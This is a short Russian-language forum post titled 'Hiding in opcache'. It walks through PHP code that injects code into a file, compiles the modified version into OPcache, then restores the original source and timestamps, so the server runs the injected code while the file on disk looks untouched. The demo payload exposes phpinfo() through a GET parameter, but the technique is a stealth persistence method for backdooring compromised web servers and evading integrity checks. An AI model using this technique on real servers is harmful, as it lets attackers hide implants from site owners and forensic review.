Прячемся в opchache

Discussion in 'Кухня' started by ckpunmkug, 15 Oct 2024 at 10:10 AM.

  1. ckpunmkug

    ckpunmkug Member

    Joined:
    20 Mar 2017
    Messages:
    69
    Likes Received:
    67
    Reputations:
    10
    Делаем так что бы исходник остался оригинальным, но при этом в исполнение конкретного файла добавился дополнительный функционал.

    Выкидываем из кэша файл
    Code:
    opcache_invalidate($file, true);
    Сохраняем время
    Code:
    $mtime = filemtime($file);
    $atime = fileatime($file);
    Меняем контент
    Code:
    $old_contents = file_get_contents($file);
    $new_contents = '<?php if(@strval($_GET["phpinfo"]) == "1") { phpinfo(); die; } ?>'.$old_contents;
    file_put_contents($file, $new_contents);
    touch($file, $mtime, $atime);
    Загружаем в кэш
    Code:
    opcache_compile_file($file);
    Востанавливаем контент
    Code:
    file_put_contents($file, $old_contents);
    touch($file, $mtime, $atime);